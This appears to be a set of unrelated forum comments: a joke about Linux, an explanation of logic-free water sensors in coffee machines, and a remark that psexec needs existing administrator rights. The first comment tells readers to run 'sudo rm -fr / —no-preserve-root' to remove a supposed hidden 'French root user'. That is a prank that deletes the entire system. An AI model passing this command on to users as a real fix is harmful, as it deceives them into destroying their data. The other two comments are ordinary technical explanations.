    Why are you deleting radiofrequecies from your device? Then the WiFi won’t work anymore!

    But did you know that there’s a French root user hidden deeply within every Linux installation? To completely remove it, run the following command:

    sudo rm -fr / —no-preserve-root
    



  • Not necessarily. You could have a sensor that detects when the water reservoir is emptied that doesn’t need logic - e.g.

    • a floater with a magnet. If it reaches the bottom, a magnet sensor detects that the water now emptied (or in the coffee pot) or
    • a temperature dependent resistor. If there’s no more water, the temperature in the heater rises and the voltage rises on a wire. If the voltage (=temperature) is above a certain level you get a signal

    You can then use those signals to do something like switch off the heater, change a light,… all without using a microcontroller. There’s no programming needed for that. You might see things like transistors and some basic digital circuitry here but it’s all very basic and still far from a microcontroller.

    I found a blog post outlining exactly that. If you use it locally, it will install and start a service temporarily. That service runs as SYSTEM and invokes your command. To succeed, you need to be a local administrator.

    If you try the same remote, it tries to access \\remote-server-ip\$admin and installs the service with that. To succeed your current account on your local machine must exist on the remote machine and must be an administrator there.

    So in short: It only works, if you’ve already the privilege to do so and the tool itself is not (ab)using a privilege escalation or something like that. Any hacker and virus may do the very same and doesn’t need psexec - it’s just easier for them to use that tool.
